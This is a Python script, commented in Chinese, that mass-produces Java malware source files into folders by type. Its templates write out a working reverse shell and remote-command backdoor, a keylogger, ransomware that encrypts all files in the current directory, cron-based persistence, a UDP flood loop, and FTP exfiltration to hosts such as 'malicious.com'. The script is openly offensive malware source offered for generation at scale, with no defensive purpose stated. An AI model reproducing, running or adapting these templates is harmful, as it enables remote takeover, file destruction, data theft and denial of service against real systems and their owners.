import os
import random

# 创建木马类型对应的文件夹
def create_directories():
    directories = ['reverse_shell', 'keylogger', 'ransomware', 'backdoor', 'persistence_backdoor', 'dos_attack', 'ftp_exfiltration']
    for directory in directories:
        if not os.path.exists(directory):
            os.makedirs(directory)

# 木马类型生成函数（Java语言）
def generate_reverse_shell_java(ip, port):
    return f"""
import java.io.*;
import java.net.*;

public class ReverseShell {{
    public static void main(String[] args) {{
        try {{
            Socket socket = new Socket("{ip}", {port});
            Process process = Runtime.getRuntime().exec("/bin/sh");
            InputStream inputStream = process.getInputStream();
            OutputStream outputStream = socket.getOutputStream();
            InputStreamReader inputStreamReader = new InputStreamReader(socket.getInputStream());
            BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
            String command;

            while ((command = bufferedReader.readLine()) != null) {{
                Process shellProcess = Runtime.getRuntime().exec(command);
                BufferedReader shellReader = new BufferedReader(new InputStreamReader(shellProcess.getInputStream()));
                String line;
                while ((line = shellReader.readLine()) != null) {{
                    outputStream.write((line + "\\n").getBytes());
                    outputStream.flush();
                }}
            }}
        }} catch (Exception e) {{
            e.printStackTrace();
        }}
    }}
}}
"""

def generate_keylogger_java(logfile):
    return f"""
import java.io.FileWriter;
import java.io.IOException;
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import javax.swing.JFrame;

public class Keylogger implements KeyListener {{
    private static String logfile = "{logfile}";

    public static void main(String[] args) {{
        JFrame frame = new JFrame();
        frame.setSize(200, 200);
        frame.addKeyListener(new Keylogger());
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        frame.setVisible(true);
    }}

    @Override
    public void keyPressed(KeyEvent e) {{
        try (FileWriter fw = new FileWriter(logfile, true)) {{
            fw.write(e.getKeyChar());
        }} catch (IOException ex) {{
            ex.printStackTrace();
        }}
    }}

    @Override
    public void keyReleased(KeyEvent e) {{ }}

    @Override
    public void keyTyped(KeyEvent e) {{ }}
}}
"""

def generate_ransomware_java(encryption_key):
    return f"""
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.nio.file.*;
import java.util.Base64;

public class Ransomware {{
    private static final String key = "{encryption_key}";

    public static void main(String[] args) {{
        File dir = new File(".");
        File[] files = dir.listFiles();
        if (files != null) {{
            for (File file : files) {{
                if (file.isFile()) {{
                    encryptFile(file);
                }}
            }}
        }}
    }}

    public static void encryptFile(File file) {{
        try {{
            SecretKeySpec secretKey = new SecretKeySpec(key.getBytes(), "AES");
            Cipher cipher = Cipher.getInstance("AES");
            cipher.init(Cipher.ENCRYPT_MODE, secretKey);
            byte[] fileContent = Files.readAllBytes(file.toPath());
            byte[] encryptedContent = cipher.doFinal(fileContent);
            String encryptedString = Base64.getEncoder().encodeToString(encryptedContent);
            Files.write(file.toPath(), encryptedString.getBytes());
        }} catch (Exception e) {{
            e.printStackTrace();
        }}
    }}
}}
"""

def generate_backdoor_java():
    ip = f"192.168.{random.randint(0, 255)}.{random.randint(0, 255)}"
    port = random.randint(1024, 65535)
    return f"""
import java.io.*;
import java.net.*;

public class Backdoor {{
    public static void main(String[] args) {{
        try {{
            Socket socket = new Socket("{ip}", {port});
            BufferedReader reader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
            String command;
            while ((command = reader.readLine()) != null) {{
                Process process = Runtime.getRuntime().exec(command);
                BufferedReader processReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                String line;
                while ((line = processReader.readLine()) != null) {{
                    System.out.println(line);
                }}
            }}
        }} catch (Exception e) {{
            e.printStackTrace();
        }}
    }}
}}
"""

def generate_persistence_backdoor_java():
    return f"""
import java.io.*;
import java.nio.file.*;

public class PersistenceBackdoor {{
    public static void main(String[] args) {{
        try {{
            String home = System.getProperty("user.home");
            String backdoorPath = home + "/.backdoor{random.randint(1, 1000)}.jar";
            Path source = Paths.get(PersistenceBackdoor.class.getProtectionDomain().getCodeSource().getLocation().toURI());
            Files.copy(source, Paths.get(backdoorPath), StandardCopyOption.REPLACE_EXISTING);
            Runtime.getRuntime().exec("crontab -l | {{ cat; echo '@reboot java -jar " + backdoorPath + "'; }} | crontab -");
        }} catch (Exception e) {{
            e.printStackTrace();
        }}
    }}
}}
"""

def generate_dos_attack_java(target_ip, port):
    payload_size = random.randint(512, 2048)
    return f"""
import java.net.*;
import java.util.Arrays;

public class DoSAttack {{
    public static void main(String[] args) {{
        try {{
            byte[] payload = new byte[{payload_size}];
            Arrays.fill(payload, (byte) 0xAB);
            DatagramSocket socket = new DatagramSocket();
            InetAddress address = InetAddress.getByName("{target_ip}");
            DatagramPacket packet = new DatagramPacket(payload, payload.length, address, {port});
            while (true) {{
                socket.send(packet);
            }}
        }} catch (Exception e) {{
            e.printStackTrace();
        }}
    }}
}}
"""

def generate_ftp_exfiltration_java(server, username, password):
    file_to_exfiltrate = f"exfiltrate_{random.randint(1, 100)}.txt"
    return f"""
import org.apache.commons.net.ftp.*;

import java.io.*;

public class FTPExfiltration {{
    public static void main(String[] args) {{
        FTPClient ftpClient = new FTPClient();
        try {{
            ftpClient.connect("{server}");
            ftpClient.login("{username}", "{password}");
            FileInputStream fis = new FileInputStream("{file_to_exfiltrate}");
            ftpClient.storeFile("{file_to_exfiltrate}", fis);
            fis.close();
            ftpClient.logout();
        }} catch (Exception e) {{
            e.printStackTrace();
        }} finally {{
            try {{
                ftpClient.disconnect();
            }} catch (IOException e) {{
                e.printStackTrace();
            }}
        }}
    }}
}}
"""

# 随机生成木马脚本类型并返回其目录名和生成的代码（Java语言）
def random_trojan_generator_java():
    types = {
        'reverse_shell': generate_reverse_shell_java,
        'keylogger': generate_keylogger_java,
        'ransomware': generate_ransomware_java,
        'backdoor': generate_backdoor_java,
        'persistence_backdoor': generate_persistence_backdoor_java,
        'dos_attack': generate_dos_attack_java,
        'ftp_exfiltration': generate_ftp_exfiltration_java
    }

    selected_type = random.choice(list(types.keys()))
    if selected_type == 'reverse_shell':
        ip = f"192.168.{random.randint(0, 255)}.{random.randint(0, 255)}"
        port = random.randint(1024, 65535)
        return selected_type, types[selected_type](ip, port)
    elif selected_type == 'keylogger':
        logfile = f"keylogs_{random.randint(1, 1000)}.log"
        return selected_type, types[selected_type](logfile)
    elif selected_type == 'ransomware':
        encryption_key = ''.join(random.choices('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789', k=16))
        return selected_type, types[selected_type](encryption_key)
    elif selected_type == 'backdoor':
        return selected_type, types[selected_type]()
    elif selected_type == 'persistence_backdoor':
        return selected_type, types[selected_type]()
    elif selected_type == 'dos_attack':
        target_ip = f"192.168.{random.randint(0, 255)}.{random.randint(0, 255)}"
        port = random.randint(80, 8080)
        return selected_type, types[selected_type](target_ip, port)
    elif selected_type == 'ftp_exfiltration':
        server = f"ftp.{random.choice(['example.com', 'test.com', 'malicious.com'])}"
        username = f"user{random.randint(100, 999)}"
        password = f"pass{random.randint(1000, 9999)}"
        return selected_type, types[selected_type](server, username, password)

# 批量生成Java语言木马脚本，并保存到对应类型的文件夹中
def generate_multiple_java_trojans(n):
    create_directories()
    for i in range(n):
        dir_name, trojan_code = random_trojan_generator_java()
        with open(f"./{dir_name}/trojan_{i+1}.java", "w") as file:
            file.write(trojan_code)

# 生成100个Java木马脚本
generate_multiple_java_trojans(2500)
